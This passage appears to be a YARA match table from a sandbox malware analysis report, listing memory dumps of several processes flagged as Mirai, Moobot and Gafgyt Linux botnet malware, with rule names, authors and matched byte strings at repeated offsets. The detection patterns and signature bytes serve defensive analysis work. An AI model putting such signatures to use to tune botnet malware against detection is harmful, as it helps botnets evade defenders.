78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6827.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7090.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7090.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7090.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7090.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7090.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7090.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7276.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7276.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6533.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6533.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6533.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6533.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6533.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6533.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7413.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7413.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7413.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7413.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7413.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7413.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6865.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6865.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6865.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6865.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6865.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6865.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6833.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6532.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6532.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6532.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6532.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6532.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6532.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7276.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6863.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6863.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6863.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6863.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6863.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 